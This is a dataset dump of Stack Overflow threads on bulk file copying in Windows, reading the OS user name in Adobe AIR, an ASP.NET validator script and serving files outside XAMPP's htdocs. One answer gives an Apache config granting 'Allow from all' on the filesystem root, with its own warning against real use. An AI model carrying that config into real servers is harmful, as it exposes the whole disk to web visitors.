qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
sequence
input
stringlengths
12
45k
output
stringlengths
2
31.8k
1,329
<p>I need to copy hundreds of gigs of random files around on my computer and am pretty leery of using the vanilla file copy built into Windows.</p> <p>I don't want it to hang on a "Are you sure?", "Are you really sure?", "Even zip files?", "Surely not read-only files too!" loop as soon as I step away.</p> <p>I don't want it to work for hours and then stop unexpectedly: "Someone once opened this file and so I won't copy it!" and then cancel the whole copy or just quit with no indication of what was done and what work remains.</p> <p>What file management programs do you have experience with? Which do you recommend?</p> <p>This question is related to my other question: <a href="https://stackoverflow.com/questions/225/how-can-i-use-an-old-pata-hard-disk-drive-on-my-newer-sata-only-computer">How can I use an old PATA hard disk drive on my newer SATA-only computer?</a></p>
[ { "answer_id": 1331, "author": "huseyint", "author_id": 39, "author_profile": "https://Stackoverflow.com/users/39", "pm_score": 6, "selected": false, "text": "<p>Use <a href=\"http://en.wikipedia.org/wiki/Robocopy\" rel=\"noreferrer\">Robocopy (Robust File Copy)</a>.</p>\n\n<p>NOTE:</p>\n\n<p>In Windows Vista and Server 2008 when you type:</p>\n\n<pre><code>xcopy /?\n</code></pre>\n\n<p>you get:</p>\n\n<blockquote>\n <p>NOTE: Xcopy is now deprecated, please use Robocopy.</p>\n</blockquote>\n\n<p>So start getting used to robocopy :)</p>\n" }, { "answer_id": 1334, "author": "Lasse V. Karlsen", "author_id": 267, "author_profile": "https://Stackoverflow.com/users/267", "pm_score": 4, "selected": false, "text": "<p>You can try <a href=\"http://www.codesector.com/teracopy.php\" rel=\"noreferrer\">TeraCopy</a> or <a href=\"http://en.wikipedia.org/wiki/Robocopy\" rel=\"noreferrer\">RoboCopy</a>.</p>\n" }, { "answer_id": 1335, "author": "Michael Haren", "author_id": 29, "author_profile": "https://Stackoverflow.com/users/29", "pm_score": 2, "selected": false, "text": "<p>It sounds like a backup-style tool may be what you're looking for.</p>\n\n<p>I've been using <a href=\"http://www.2brightsparks.com/downloads.html\" rel=\"nofollow noreferrer\">SyncBack</a> (one of the versions is free). You could also try out <a href=\"http://en.wikipedia.org/wiki/SyncToy\" rel=\"nofollow noreferrer\">MS SyncToy</a> which tries to make moving, copying, syncing, etc. easy.</p>\n\n<p>If you really do copy just random files at random times, you could try <a href=\"http://www.ranvik.net/totalcopy/\" rel=\"nofollow noreferrer\">Total Copy</a> which has the added benefit of working well over a network (pause, resume, etc.).</p>\n" }, { "answer_id": 1337, "author": "Adam Haile", "author_id": 194, "author_profile": "https://Stackoverflow.com/users/194", "pm_score": 3, "selected": false, "text": "<p>You really need to use a file Sync tool, like <a href=\"http://www.2brightsparks.com/syncback/syncback-hub.html\" rel=\"noreferrer\">SyncBackSE</a>, <a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=C26EFA36-98E0-4EE9-A7C5-98D0592D8C52&amp;displaylang=en\" rel=\"noreferrer\">MS SyncToy</a>, or even something like <a href=\"http://winmerge.org/\" rel=\"noreferrer\">WinMerge</a> will do the trick.\nI prefer SyncBack as it allows you to set up very explicit rules for just about every possible case and conflict, at least more so than the other two.\nWith any of these you won't have to keep clicking all the pop-ups and you can verify, without a doubt, that the destination is exactly the same as the source.</p>\n" }, { "answer_id": 1339, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 5, "selected": true, "text": "<p>How about good old Command-Line Xcopy? With S: being the source and T: the target:</p>\n\n<pre><code>xcopy /K /R /E /I /S /C /H /G /X /Y s:\\*.* t:\\\n</code></pre>\n\n<blockquote>\n <p>/K Copies attributes. Normal Xcopy will reset read-only attributes.</p>\n \n <p>/R Overwrites read-only files.</p>\n \n <p>/E Copies directories and subdirectories, including empty ones.</p>\n \n <p>/I If destination does not exist and copying more than one file, assumes that destination must be a directory.</p>\n \n <p>/S Copies directories and subdirectories except empty ones.</p>\n \n <p>/C Continues copying even if errors occur.</p>\n \n <p>/H Copies hidden and system files also.</p>\n \n <p>/Y Suppresses prompting to confirm you want to overwrite an existing destination file.</p>\n \n <p>/G Allows the copying of encrypted files to destination that does not support encryption.</p>\n \n <p>/X Copies file audit settings (implies /O).</p>\n</blockquote>\n\n<p>(Edit: Added /G and /X which are new since a few years)</p>\n" }, { "answer_id": 1341, "author": "Vincent Robert", "author_id": 268, "author_profile": "https://Stackoverflow.com/users/268", "pm_score": 3, "selected": false, "text": "<p>You can try <a href=\"http://sourceforge.net/projects/supercopier/\" rel=\"noreferrer\">SuperCopier</a>, it replaces the standard Windows copy mechanism while loaded.</p>\n\n<p>It can retry failed files at the end, resume a canceled copy (even a copy canceled by Windows), accepts \"All\" for every answers. You can even answer the annoying questions (file already exists, error copying file) before they occur.</p>\n" }, { "answer_id": 1353, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 1, "selected": false, "text": "<p>Xcopy keeps the Date Modified, only the Date Created and Date Accessed will change.</p>\n\n<p>(tested on XP Pro, try it on a small folder to check if you're using Vista as I did not test it under Vista)</p>\n\n<p>Edit: You MAY want to redirect the Output though:</p>\n\n<pre><code>xcopy /K /R ....... s:\\*.* t:\\ &gt;c:\\xcopy.log 2&gt;&amp;1\n</code></pre>\n\n<p>That way, if files fail to copy you can check the log (i.e. System Volume Information will generate an error, but that folder does not matter anyway for what you're trying to do)</p>\n" }, { "answer_id": 1381, "author": "Chris Miller", "author_id": 206, "author_profile": "https://Stackoverflow.com/users/206", "pm_score": 2, "selected": false, "text": "<p>Use <a href=\"http://en.wikipedia.org/wiki/Robocopy\" rel=\"nofollow noreferrer\">Robocopy</a>, it has the ability to copy files in \"restartable mode\", plus it should respect the file attributes. And it comes with Vista and Server 2008, and you can download it for older OS's. Plus you can set it to retry on failed copies, to pick up files that are temporarily in use by another process.</p>\n" }, { "answer_id": 2114, "author": "Blorgbeard", "author_id": 369, "author_profile": "https://Stackoverflow.com/users/369", "pm_score": 1, "selected": false, "text": "<p>I've been using Copy Handler. The nicest thing about it is that it queues up its jobs like a download manager. It has a shell extension so you can either rightclick drag, or just set copy with copyhandler as the default action.</p>\n" }, { "answer_id": 2118, "author": "jake", "author_id": 389, "author_profile": "https://Stackoverflow.com/users/389", "pm_score": 1, "selected": false, "text": "<p>I built myself a PC with 4GB RAM, dual core 1.8GHz 40GB PATA drive primary, and 250GB SATA drive secondary, and installed Windows Vista Business Edition. When I had to copy 120GB of data from my old PATA disk, Vista failed miserably and kept crashing. I definitely recommend Teracopy Free Edition.</p>\n" }, { "answer_id": 2126, "author": "hitec", "author_id": 120, "author_profile": "https://Stackoverflow.com/users/120", "pm_score": 4, "selected": false, "text": "<p>I would definitely prefer: </p>\n\n<p>1) <a href=\"http://www.codesector.com/teracopy.asp\" rel=\"noreferrer\">Teracopy</a> - GUI based, replaces the default Windows copy/move UI and adds itself to context menu. Basic version is free (for home use I guess). </p>\n\n<p>2) <a href=\"http://en.wikipedia.org/wiki/Robocopy\" rel=\"noreferrer\">Robocopy</a> - CLI based, useful when scripting. Free tool from MS and is included in Vista/Windows 2008. MS Technet has a GUI for robocopy as well - useful to create statements that you can later embed in scripts or on the command prompt.</p>\n\n<p>PS: I know these have been already suggested here and I would have voted on them, if I could.</p>\n" }, { "answer_id": 3806, "author": "PabloG", "author_id": 394, "author_profile": "https://Stackoverflow.com/users/394", "pm_score": 1, "selected": false, "text": "<p>Besides the already mentioned Robocopy, <a href=\"http://www.xxcopy.com\" rel=\"nofollow noreferrer\">XXCOPY</a> has a free version. Its syntax is backwards compatible with XCOPY, but has tons of additional options (XXCOPY /HELP > x create a 42kb file with all the options available). For instance, you can delete files with it, include or exclude a list of directories for the copy, use it as a \"touch\" utility, etc.</p>\n\n<p>I've been using it for years, it's 2 thumbs up.</p>\n" }, { "answer_id": 3829, "author": "Yann Trevin", "author_id": 563, "author_profile": "https://Stackoverflow.com/users/563", "pm_score": 2, "selected": false, "text": "<p>Powershell scripts might be useful too and surely more flexible than <em>xcopy</em> and other DOS commands. You can easily recurse through sub-directories, filter your files by name or extensions, treat especially some particular files based on the criteria of your choice, etc. The <a href=\"http://www.powershellcommunity.org\" rel=\"nofollow noreferrer\">Powershell community web site</a> is a good starting point.</p>\n" }, { "answer_id": 205483, "author": "SAL", "author_id": 3099, "author_profile": "https://Stackoverflow.com/users/3099", "pm_score": 2, "selected": false, "text": "<p>Big thumbs up for robocopy. I use it for doing the sort of things you mention.</p>\n\n<p>For example I'm currently running 5 robocopy sessions on my server where I'm copying about 60GB of files between 3 remote servers, I'm connected to two via a CheckPoint VPN and the other is an Amazon S3 space mapped via JungleDisk.</p>\n\n<p>I'm working with a colleague at the other end of the country. He'll log in to the same servers later tonight and run a similar set of robocopy batch files to download all the changes I'm currently uploading.</p>\n\n<p>The 'killer app' feature is that robocopy will retain file date/time stamps and, by default will ONLY copy files that are different. So you can point it at a huge dir tree and only changed files will be copied.</p>\n\n<p>Here's some useful tips for doing this sort of thing...</p>\n\n<p><code>/MIR</code> mirrors a dir tree so will delete as well as add</p>\n\n<p><code>/R:10</code> tells robocopy to try 10 times to copy the file before giving up. The default is 1,000,000 times</p>\n\n<p><code>/LOG+somefilename.log</code> will append the screen output to somefilename.log, creating it if necessary.</p>\n\n<p><code>/XD dir1 dir2</code> will ignore any dirs named dir1 or dir2 in the copy. Wildcards can be used.</p>\n\n<p><code>/FFT</code> will use FAT time stamps which are less accurate than NTFS (uses a 2 sec granularity in timestamps). I also find this one useful when copying between Linux file systems and NTFS.</p>\n\n<p>I typically use something like </p>\n\n<pre><code>robocopy d:\\workdir y:\\workdir /TEE /LOG+:d:\\update.log /MIR /R:5\n</code></pre>\n\n<p>which will mirror (/MIR) d:\\workdir with y:\\workdir, append a log of what it does to d:\\update.log (/LOG+d:\\update.log) writing output to both the console and the log file (/TEE), and try each file 5 times before moving on to the next one.</p>\n\n<p>It also works with UNC paths.</p>\n\n<p>If you've got a large collection of files that need syncing over a number of PCs then robocopy is your friend.</p>\n" }, { "answer_id": 244990, "author": "Rob Kam", "author_id": 25093, "author_profile": "https://Stackoverflow.com/users/25093", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://www.ztree.com/html/ztreewin.htm\" rel=\"nofollow noreferrer\">ZTreeWin</a> It's a 32 bit text-mode, tree-structured file/directory manager for Windows. Very easy to use, there is a menu but this also shows the keys for various commands. Easy to navigate around the file system and it has a has split pane mode so you can work with both source and target easily, with only ever a few keystrokes. It is far more effective for getting things done than Windows Explorer or Xcopy.</p>\n" }, { "answer_id": 244999, "author": "Terminus", "author_id": 7053, "author_profile": "https://Stackoverflow.com/users/7053", "pm_score": 2, "selected": false, "text": "<p>Besides XCOPY, RoboCopy and TeraCopy that have already been suggested, you may also try out Total Commander.</p>\n" }, { "answer_id": 266099, "author": "Craig Nicholson", "author_id": 28305, "author_profile": "https://Stackoverflow.com/users/28305", "pm_score": 2, "selected": false, "text": "<p>I've tried out <a href=\"http://www.copyhandler.com/\" rel=\"nofollow noreferrer\">Copy Handler</a> and it works very well. It has some cool features where you can control buffering depending on the type of media and with file queuing support so you can setup your copy and move operations and forget about them and minimize disk fragmentation at the same time. So it won't copy multiple file simultaneously from a single CD or DVD as it would make the drive seek too much.</p>\n\n<p>Best of all its Open Source.</p>\n" }, { "answer_id": 571498, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>I've tried <a href=\"http://killprog.narod.ru/KCinst.exe\" rel=\"nofollow noreferrer\">KillCopy 2.85</a> and I can say only one - this is a powerful copy software which can replace a windows file copy on 100%. May be the best from alternatives that i've tested for now. File transfer is very fast. KillCopy is the fastest software and can copy files with 40 MB/s.\nReasons for my choise is simple - KillCopy works fine on all Windows platforms without mean\nwhats is architecture - 32 or 64 bits.</p>\n" }, { "answer_id": 2971779, "author": "Gautam Jain", "author_id": 15065, "author_profile": "https://Stackoverflow.com/users/15065", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://www.conceptworld.com/Copywhiz\" rel=\"nofollow noreferrer\">Copywhiz</a> program (commercial) seems to solve the exact problems you listed.</p>\n" }, { "answer_id": 4061599, "author": "Fred", "author_id": 492537, "author_profile": "https://Stackoverflow.com/users/492537", "pm_score": 0, "selected": false, "text": "<pre><code>Xcopy [source] [destination] /e /c /h /o /d \n</code></pre>\n\n<p>Copies eveverything that has not previously been copied. Essentially works as restartable since you can just press up and enter and it will commence where it was up to when you stoped it or it lost connection. Does not copy files that have already been copied and preserves onwership and attributes.</p>\n\n<p>It also ignores errors so if ti can't copy something it just keeps going.</p>\n\n<p>I remeber it because its xcopy echo(e)d</p>\n" }, { "answer_id": 4061622, "author": "JAL", "author_id": 92448, "author_profile": "https://Stackoverflow.com/users/92448", "pm_score": -1, "selected": false, "text": "<p>Reboot into Linux, mount the drive, and use GNU <code>cp</code>.</p>\n" }, { "answer_id": 5280803, "author": "Loren", "author_id": 656340, "author_profile": "https://Stackoverflow.com/users/656340", "pm_score": 1, "selected": false, "text": "<p>A GUI front-end for xcopy is available at: <a href=\"http://lorenstuff.weebly.com/\" rel=\"nofollow\">http://lorenstuff.weebly.com/</a> (free)\ncontrols are:input, output, set switches &amp; run. Not a replacement or an improvement on xcopy, just a GUI to simplify operation.</p>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1329", "https://Stackoverflow.com", "https://Stackoverflow.com/users/83/" ]
I need to copy hundreds of gigs of random files around on my computer and am pretty leery of using the vanilla file copy built into Windows. I don't want it to hang on a "Are you sure?", "Are you really sure?", "Even zip files?", "Surely not read-only files too!" loop as soon as I step away. I don't want it to work for hours and then stop unexpectedly: "Someone once opened this file and so I won't copy it!" and then cancel the whole copy or just quit with no indication of what was done and what work remains. What file management programs do you have experience with? Which do you recommend? This question is related to my other question: [How can I use an old PATA hard disk drive on my newer SATA-only computer?](https://stackoverflow.com/questions/225/how-can-i-use-an-old-pata-hard-disk-drive-on-my-newer-sata-only-computer)
How about good old Command-Line Xcopy? With S: being the source and T: the target: ``` xcopy /K /R /E /I /S /C /H /G /X /Y s:\*.* t:\ ``` > > /K Copies attributes. Normal Xcopy will reset read-only attributes. > > > /R Overwrites read-only files. > > > /E Copies directories and subdirectories, including empty ones. > > > /I If destination does not exist and copying more than one file, assumes that destination must be a directory. > > > /S Copies directories and subdirectories except empty ones. > > > /C Continues copying even if errors occur. > > > /H Copies hidden and system files also. > > > /Y Suppresses prompting to confirm you want to overwrite an existing destination file. > > > /G Allows the copying of encrypted files to destination that does not support encryption. > > > /X Copies file audit settings (implies /O). > > > (Edit: Added /G and /X which are new since a few years)
1,376
<p>I need the name of the current logged in user in my <strong>Air/Flex</strong> application. The application will only be deployed on Windows machines. I think I could attain this by regexing the User directory, but am open to other ways.</p>
[ { "answer_id": 1380, "author": "Shawn", "author_id": 26, "author_profile": "https://Stackoverflow.com/users/26", "pm_score": 1, "selected": false, "text": "<p>Here is a solution that works in XP / Vista, but is definitely expandable to OSX, linux, I'd still be interested in another way.</p>\n\n<pre><code>public static function GetCurrentOSUser():String{\n // XP &amp; Vista only.\n var userDirectory:String = File.userDirectory.resolvePath(\"\").nativePath;\n var startIndex:Number = userDirectory.lastIndexOf(\"\\\\\") + 1\n var stopIndex:Number = userDirectory.length;\n var user = userDirectory.substring(startIndex, stopIndex);\n\n return user;\n}\n</code></pre>\n" }, { "answer_id": 1397, "author": "Kevin", "author_id": 40, "author_profile": "https://Stackoverflow.com/users/40", "pm_score": 3, "selected": false, "text": "<p>Also I would try:</p>\n\n<pre><code>File.userDirectory.name\n</code></pre>\n\n<p>But I don't have Air installed so I can't really test this...</p>\n" }, { "answer_id": 28034, "author": "ianmjones", "author_id": 3023, "author_profile": "https://Stackoverflow.com/users/3023", "pm_score": 3, "selected": false, "text": "<p>There's a couple of small cleanups you can make...</p>\n\n<pre><code>package\n{\n import flash.filesystem.File;\n\n public class UserUtil\n {\n public static function get currentOSUser():String\n {\n var userDir:String = File.userDirectory.nativePath;\n var userName:String = userDir.substr(userDir.lastIndexOf(File.separator) + 1);\n return userName;\n }\n }\n}\n</code></pre>\n\n<p>As Kevin suggested, use <code>File.separator</code> to make the directory splitting cross-platform (just tested on Windows and Mac OS X).</p>\n\n<p>You don't need to use <code>resolvePath(\"\")</code> unless you're looking for a child.</p>\n\n<p>Also, making the function a proper getter allows binding without any further work.</p>\n\n<p>In the above example I put it into a <code>UserUtil</code> class, now I can bind to <code>UserUtil.currentOSUser</code>, e.g:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;mx:WindowedApplication xmlns:mx=\"http://www.adobe.com/2006/mxml\" layout=\"absolute\"&gt;\n &lt;mx:Label text=\"{UserUtil.currentOSUser}\"/&gt; \n&lt;/mx:WindowedApplication&gt;\n</code></pre>\n" }, { "answer_id": 417427, "author": "Shawn", "author_id": 26, "author_profile": "https://Stackoverflow.com/users/26", "pm_score": -1, "selected": false, "text": "<p>Update way later: there's actually a built in function to get the current user. I think it's in nativeApplication.</p>\n" }, { "answer_id": 5024862, "author": "Not Mandatory", "author_id": 234764, "author_profile": "https://Stackoverflow.com/users/234764", "pm_score": 3, "selected": false, "text": "<p>This isn't the prettiest approach, but if you know your AIR app will only be run in a Windows environment it works well enough:</p>\n\n<pre><code>public var username:String;\n\npublic function getCurrentOSUser():void\n{ \n var nativeProcessStartupInfo:NativeProcessStartupInfo = new NativeProcessStartupInfo(); \n var file:File = new File(\"C:/WINDOWS/system32/whoami.exe\");\n nativeProcessStartupInfo.executable = file;\n\n process = new NativeProcess(); \n process.addEventListener(ProgressEvent.STANDARD_OUTPUT_DATA, onOutputData);\n process.start(nativeProcessStartupInfo);\n}\n\npublic function onOutputData(event:ProgressEvent):void\n{ \n var output:String = process.standardOutput.readUTFBytes(process.standardOutput.bytesAvailable);\n this.username = output.split('\\\\')[1];\n trace(\"Got username: \", this.username);\n}\n</code></pre>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1376", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26/" ]
I need the name of the current logged in user in my **Air/Flex** application. The application will only be deployed on Windows machines. I think I could attain this by regexing the User directory, but am open to other ways.
Also I would try: ``` File.userDirectory.name ``` But I don't have Air installed so I can't really test this...
1,401
<p>I have a custom validation function in JavaScript in a user control on a .Net 2.0 web site which checks to see that the fee paid is not in excess of the fee amount due. </p> <p>I've placed the validator code in the <code>ascx</code> file, and I have also tried using <code>Page.ClientScript.RegisterClientScriptBlock()</code> and in both cases the validation fires, but cannot find the JavaScript function.</p> <p>The output in Firefox's error console is <code>"feeAmountCheck is not defined"</code>. Here is the function (this was taken directly from firefox->view source)</p> <pre><code>&lt;script type="text/javascript"&gt; function feeAmountCheck(source, arguments) { var amountDue = document.getElementById('ctl00_footerContentHolder_Fees1_FeeDue'); var amountPaid = document.getElementById('ctl00_footerContentHolder_Fees1_FeePaid'); if (amountDue.value &gt; 0 &amp;&amp; amountDue &gt;= amountPaid) { arguments.IsValid = true; } else { arguments.IsValid = false; } return arguments; } &lt;/script&gt; </code></pre> <p>Any ideas as to why the function isn't being found? How can I remedy this without having to add the function to my master page or consuming page?</p>
[ { "answer_id": 1405, "author": "brendan", "author_id": 225, "author_profile": "https://Stackoverflow.com/users/225", "pm_score": 3, "selected": false, "text": "<p>When you're using .Net 2.0 and Ajax - you should use:</p>\n\n<pre><code>ScriptManager.RegisterClientScriptBlock\n</code></pre>\n\n<p>It will work better in Ajax environments then the old Page.ClientScript version</p>\n" }, { "answer_id": 1418, "author": "Greg Hurlman", "author_id": 35, "author_profile": "https://Stackoverflow.com/users/35", "pm_score": 5, "selected": true, "text": "<p>Try changing the argument names to <code>sender</code> and <code>args</code>. And, after you have it working, switch the call over to <code>ScriptManager.RegisterClientScriptBlock</code>, regardless of AJAX use.</p>\n" }, { "answer_id": 1527, "author": "Rob Allen", "author_id": 149, "author_profile": "https://Stackoverflow.com/users/149", "pm_score": 0, "selected": false, "text": "<p>While I would still like an answer to why my javascript wasn't being recognized, the solution I found in the meantime (and should have done in the first place) is to use an <code>Asp:CompareValidator</code> instead of an <code>Asp:CustomValidator</code>.</p>\n" }, { "answer_id": 991196, "author": "kpax", "author_id": 75314, "author_profile": "https://Stackoverflow.com/users/75314", "pm_score": 0, "selected": false, "text": "<p>Also you could use:</p>\n\n<pre><code>var amountDue = document.getElementById('&lt;%=YourControlName.ClientID%&gt;');\n</code></pre>\n\n<p>That will automatically resolve the client id for the element without you having to figure out that it's called <code>'ctl00_footerContentHolder_Fees1_FeeDue'</code>.</p>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1401", "https://Stackoverflow.com", "https://Stackoverflow.com/users/149/" ]
I have a custom validation function in JavaScript in a user control on a .Net 2.0 web site which checks to see that the fee paid is not in excess of the fee amount due. I've placed the validator code in the `ascx` file, and I have also tried using `Page.ClientScript.RegisterClientScriptBlock()` and in both cases the validation fires, but cannot find the JavaScript function. The output in Firefox's error console is `"feeAmountCheck is not defined"`. Here is the function (this was taken directly from firefox->view source) ``` <script type="text/javascript"> function feeAmountCheck(source, arguments) { var amountDue = document.getElementById('ctl00_footerContentHolder_Fees1_FeeDue'); var amountPaid = document.getElementById('ctl00_footerContentHolder_Fees1_FeePaid'); if (amountDue.value > 0 && amountDue >= amountPaid) { arguments.IsValid = true; } else { arguments.IsValid = false; } return arguments; } </script> ``` Any ideas as to why the function isn't being found? How can I remedy this without having to add the function to my master page or consuming page?
Try changing the argument names to `sender` and `args`. And, after you have it working, switch the call over to `ScriptManager.RegisterClientScriptBlock`, regardless of AJAX use.
1,408
<p>Is it possible to configure <a href="http://www.apachefriends.org/en/xampp.html" rel="noreferrer">xampp</a> to serve up a file outside of the <code>htdocs</code> directory?</p> <p>For instance, say I have a file located as follows:</p> <p><code>C:\projects\transitCalculator\trunk\TransitCalculator.php</code></p> <p>and my <a href="http://www.apachefriends.org/en/xampp.html" rel="noreferrer">xampp</a> files are normally served out from:</p> <p><code>C:\xampp\htdocs\</code></p> <p>(because that's the default configuration) Is there some way to make Apache recognize and serve up my <code>TransitCalculator.php</code> file without moving it under <code>htdocs</code>? Preferably I'd like Apache to serve up/have access to the entire contents of the projects directory, and I don't want to move the projects directory under <code>htdocs</code>.</p> <p>edit: edited to add Apache to the question title to make Q/A more "searchable"</p>
[ { "answer_id": 1413, "author": "sparkes", "author_id": 269, "author_profile": "https://Stackoverflow.com/users/269", "pm_score": 4, "selected": false, "text": "<p>You can set Apache to serve pages from anywhere with any restrictions but it's normally distributed in a more secure form.</p>\n\n<p>Editing your apache files (http.conf is one of the more common names) will allow you to set any folder so it appears in your webroot.</p>\n\n<p>EDIT:</p>\n\n<p>alias myapp c:\\myapp\\</p>\n\n<p>I've edited my answer to include the format for creating an alias in the http.conf file which is sort of like a shortcut in windows or a symlink under un*x where Apache 'pretends' a folder is in the webroot. This is probably going to be more useful to you in the long term.</p>\n" }, { "answer_id": 1414, "author": "Dave Ward", "author_id": 60, "author_profile": "https://Stackoverflow.com/users/60", "pm_score": 7, "selected": false, "text": "<p>You can relocate it by editing the <strong>DocumentRoot</strong> setting in XAMPP\\apache\\conf\\httpd.conf.</p>\n\n<p>It should currently be:</p>\n\n<blockquote>\n <p>C:/xampp/htdocs</p>\n</blockquote>\n\n<p>Change it to:</p>\n\n<blockquote>\n <p>C:/projects/transitCalculator/trunk</p>\n</blockquote>\n" }, { "answer_id": 1421, "author": "cmcculloh", "author_id": 58, "author_profile": "https://Stackoverflow.com/users/58", "pm_score": 10, "selected": true, "text": "<p>Ok, per <a href=\"https://stackoverflow.com/questions/1408/#2471\">pix0r</a>'s, <a href=\"https://stackoverflow.com/questions/1408/#1413\">Sparks</a>' and <a href=\"https://stackoverflow.com/questions/1408/#1414\">Dave</a>'s answers it looks like there are three ways to do this:</p>\n\n<hr>\n\n<h2><a href=\"https://stackoverflow.com/questions/1408/#2471\">Virtual Hosts</a></h2>\n\n<ol>\n<li>Open C:\\xampp\\apache\\conf\\extra\\httpd-vhosts.conf.</li>\n<li>Un-comment ~line 19 (<code>NameVirtualHost *:80</code>).</li>\n<li><p>Add your virtual host (~line 36):</p>\n\n<pre><code>&lt;VirtualHost *:80&gt;\n DocumentRoot C:\\Projects\\transitCalculator\\trunk\n ServerName transitcalculator.localhost\n &lt;Directory C:\\Projects\\transitCalculator\\trunk&gt;\n Order allow,deny\n Allow from all\n &lt;/Directory&gt;\n&lt;/VirtualHost&gt;\n</code></pre></li>\n<li><p>Open your hosts file (C:\\Windows\\System32\\drivers\\etc\\hosts).</p></li>\n<li><p>Add</p>\n\n<pre><code>127.0.0.1 transitcalculator.localhost #transitCalculator\n</code></pre>\n\n<p>to the end of the file (before the Spybot - Search &amp; Destroy stuff if you have that installed).</p></li>\n<li>Save (You might have to save it to the desktop, change the permissions on the old hosts file (right click > properties), and copy the new one into the directory over the old one (or rename the old one) if you are using Vista and have trouble).</li>\n<li>Restart Apache.</li>\n</ol>\n\n<p>Now you can access that directory by browsing to <a href=\"http://transitcalculator.localhost/\" rel=\"noreferrer\">http://transitcalculator.localhost/</a>.</p>\n\n<hr>\n\n<h2><a href=\"https://stackoverflow.com/questions/1408/#1413\">Make an Alias</a></h2>\n\n<ol>\n<li><p>Starting ~line 200 of your <code>http.conf</code> file, copy everything between <code>&lt;Directory \"C:/xampp/htdocs\"&gt;</code> and <code>&lt;/Directory&gt;</code> (~line 232) and paste it immediately below with <code>C:/xampp/htdocs</code> replaced with your desired directory (in this case <code>C:/Projects</code>) to give your server the correct permissions for the new directory.</p></li>\n<li><p>Find the <code>&lt;IfModule alias_module&gt;&lt;/IfModule&gt;</code> section (~line 300) and add</p>\n\n<pre><code>Alias /transitCalculator \"C:/Projects/transitCalculator/trunk\"\n</code></pre>\n\n<p>(or whatever is relevant to your desires) below the <code>Alias</code> comment block, inside the module tags.</p></li>\n</ol>\n\n<hr>\n\n<h2><a href=\"https://stackoverflow.com/questions/1408/#1414\">Change your document root</a></h2>\n\n<ol>\n<li><p>Edit ~line 176 in C:\\xampp\\apache\\conf\\httpd.conf; change <code>DocumentRoot \"C:/xampp/htdocs\"</code> to <code>#DocumentRoot \"C:/Projects\"</code> (or whatever you want).</p></li>\n<li><p>Edit ~line 203 to match your new location (in this case <code>C:/Projects</code>).</p></li>\n</ol>\n\n<hr>\n\n<p><strong>Notes:</strong> </p>\n\n<ul>\n<li>You have to use forward slashes \"/\" instead of back slashes \"\\\".</li>\n<li>Don't include the trailing \"/\" at the end.</li>\n<li><em>restart your server</em>.</li>\n</ul>\n" }, { "answer_id": 2471, "author": "pix0r", "author_id": 72, "author_profile": "https://Stackoverflow.com/users/72", "pm_score": 6, "selected": false, "text": "<p>A VirtualHost would also work for this and may work better for you as you can host several projects without the need for subdirectories. Here's how you do it:</p>\n\n<p>httpd.conf (or extra\\httpd-vhosts.conf relative to httpd.conf. Trailing slashes \"\\\" might cause it not to work):</p>\n\n<pre><code>NameVirtualHost *:80\n# ...\n&lt;VirtualHost *:80&gt; \n DocumentRoot C:\\projects\\transitCalculator\\trunk\\\n ServerName transitcalculator.localhost\n &lt;Directory C:\\projects\\transitCalculator\\trunk\\&gt; \n Order allow,deny \n Allow from all \n &lt;/Directory&gt;\n&lt;/VirtualHost&gt; \n</code></pre>\n\n<p>HOSTS file (c:\\windows\\system32\\drivers\\etc\\hosts usually):</p>\n\n<pre><code># localhost entries\n127.0.0.1 localhost transitcalculator.localhost\n</code></pre>\n\n<p>Now restart XAMPP and you should be able to access <a href=\"http://transitcalculator.localhost/\" rel=\"noreferrer\">http://transitcalculator.localhost/</a> and it will map straight to that directory.</p>\n\n<p>This can be helpful if you're trying to replicate a production environment where you're developing a site that will sit on the root of a domain name. You can, for example, point to files with absolute paths that will carry over to the server:</p>\n\n<pre><code>&lt;img src=\"/images/logo.png\" alt=\"My Logo\" /&gt;\n</code></pre>\n\n<p>whereas in an environment using aliases or subdirectories, you'd need keep track of exactly where the \"images\" directory was relative to the current file.</p>\n" }, { "answer_id": 480089, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>Solution to allow Apache 2 to host websites outside of htdocs:</p>\n\n<p>Underneath the \"DocumentRoot\" directive in httpd.conf, you should see a directory block. Replace this directory block with:</p>\n\n<pre><code>&lt;Directory /&gt;\n Options FollowSymLinks\n AllowOverride All\n Allow from all\n&lt;/Directory&gt; \n</code></pre>\n\n<p><strong><em>REMEMBER NOT TO USE THIS CONFIGURATION IN A REAL ENVIRONMENT</em></strong></p>\n" }, { "answer_id": 4824442, "author": "Jason", "author_id": 593201, "author_profile": "https://Stackoverflow.com/users/593201", "pm_score": 4, "selected": false, "text": "<p>If you're trying to get XAMPP to use a network drive as your document root you have to use UNC paths in httpd.conf. XAMPP will not recognize your mapped network drives.</p>\n\n<p>For example the following won't work,\nDocumentRoot \"X:/webroot\"</p>\n\n<p>But this will,\nDocumentRoot \"//192.168.10.100/webroot\" (note the forward slashes, not back slashes)</p>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1408", "https://Stackoverflow.com", "https://Stackoverflow.com/users/58/" ]
Is it possible to configure [xampp](http://www.apachefriends.org/en/xampp.html) to serve up a file outside of the `htdocs` directory? For instance, say I have a file located as follows: `C:\projects\transitCalculator\trunk\TransitCalculator.php` and my [xampp](http://www.apachefriends.org/en/xampp.html) files are normally served out from: `C:\xampp\htdocs\` (because that's the default configuration) Is there some way to make Apache recognize and serve up my `TransitCalculator.php` file without moving it under `htdocs`? Preferably I'd like Apache to serve up/have access to the entire contents of the projects directory, and I don't want to move the projects directory under `htdocs`. edit: edited to add Apache to the question title to make Q/A more "searchable"
